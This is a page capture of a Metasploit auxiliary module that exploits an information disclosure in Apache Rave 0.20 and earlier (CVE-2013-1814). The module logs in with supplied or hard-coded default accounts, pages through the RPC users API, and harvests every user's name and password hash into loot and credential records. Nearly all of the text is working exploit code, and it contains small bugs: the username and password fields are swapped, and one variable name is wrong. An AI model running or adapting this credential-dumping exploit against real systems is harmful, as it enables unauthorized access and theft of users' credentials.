Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/apache_rave_creds.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Apache Rave User Information Disclosure',12'Description' => %q{13This module exploits an information disclosure in Apache Rave 0.20 and prior. The14vulnerability exists in the RPC API, which allows any authenticated user to15disclose information about all the users, including their password hashes. In order16to authenticate, the user can provide his own credentials. Also the default users17installed with Apache Rave 0.20 will be tried automatically. This module has been18successfully tested on Apache Rave 0.20.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Andreas Guth', # Vulnerability discovery and PoC24'juan vazquez' # Metasploit module25],26'References' =>27[28[ 'CVE', '2013-1814' ],29[ 'OSVDB', '91235' ],30[ 'BID', '58455' ],31[ 'EDB', '24744']32]33))3435register_options(36[37Opt::RPORT(8080),38OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),39OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),40OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),41])42end4344def post_auth?45true46end4748def login(username, password)49uri = normalize_uri(target_uri.to_s, "j_spring_security_check")5051res = send_request_cgi({52'uri' => uri,53'method' => 'POST',54'vars_post' => {55'j_password' => username,56'j_username' => password57}58})5960if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/61return $162else63return nil64end65end6667def disclose(cookie, offset)68uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")6970res = send_request_cgi({71'uri' => uri,72'method' => 'GET',73'vars_get' => {74'offset' => "#{offset}"75},76'cookie' => "JSESSIONID=#{cookie}"77})7879if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/80return res.body81else82return nil83end8485end8687def setup88# Default accounts installed and enabled on Apache Rave 0.2089@default_accounts = {90"canonical" => "canonical",91"john.doe" => "john.doe",92"jane.doe" => "jane.doe",93"johnldap" => "johnldap",94"four.col" => "four.col",95"fourwn.col" => "fourwn.col",96"george.doe" => "george.doe",97"maija.m" => "maija.m",98"mario.rossi" => "mario.rossi",99"one.col" => "one.col",100"three.col" => "three.col",101"threewn.col" => "threewn.col",102"twown.col" => "twown.col"103}104end105106def report_cred(opts)107service_data = {108address: opts[:ip],109port: opts[:port],110service_name: opts[:service_name],111protocol: 'tcp',112workspace_id: myworkspace_id113}114115credential_data = {116origin_type: :service,117module_fullname: fullname,118username: opts[:user],119private_data: opts[:password],120private_type: :password121}.merge(service_data)122123login_data = {124core: create_credential(credential_data),125status: Metasploit::Model::Login::Status::UNTRIED,126proof: opts[:proof]127}.merge(service_data)128129create_credential_login(login_data)130end131132133def run134135print_status("#{rhost}:#{rport} - Fingerprinting...")136res = send_request_cgi({137'uri' => normalize_uri(target_uri.to_s, "login"),138'method' => 'GET',139})140141if not res142print_error("#{rhost}:#{rport} - No response, aborting...")143return144elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/145version =$1146if version <= "0.20"147print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")148else149print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")150return151end152else153print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")154end155156cookie = nil157unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?158print_status("#{rhost}:#{rport} - Login with the provided credentials...")159cookie = login(datastore["USERNAME"], datastore["PASSWORD"])160if cookie.nil?161print_error("#{rhost}:#{rport} - Login failed")162else163print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")164end165end166167if cookie.nil?168print_status("#{rhost}:#{rport} - Login with default accounts...")169@default_accounts.each { |user, password|170print_status("#{rhost}:#{rport} - Login with the #{user} default account...")171cookie = login(user, password)172unless cookie.nil?173print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")174break175end176}177end178179if cookie.nil?180print_error("#{rhost}:#{rport} - Login failed. Aborting...")181return182end183184print_status("#{rhost}:#{rport} - Disclosing information...")185offset = 0186search = true187188while search189print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")190users_data = disclose(cookie, offset)191if users_data.nil?192print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")193return194else195print_good("#{rhost}:#{rport} - Disclosure successful")196end197198json_info = JSON.parse(users_data)199200path = store_loot(201'apache.rave.users',202'application/json',203rhost,204users_data,205nil,206"Apache Rave Users Database Offset #{offset}"207)208print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")209210print_status("#{rhost}:#{rport} - Recovering Hashes...")211json_info["result"]["resultSet"].each { |result|212print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")213report_cred(214ip: rhost,215port: rport,216service_name: 'Apache Rave',217user: result["username"],218password: result["password"],219proof: user_data220)221}222223page = json_info["result"]["currentPage"]224total_pages = json_info["result"]["numberOfPages"]225offset = offset + json_info["result"]["pageSize"]226if page == total_pages227search = false228end229230end231232end233end234235236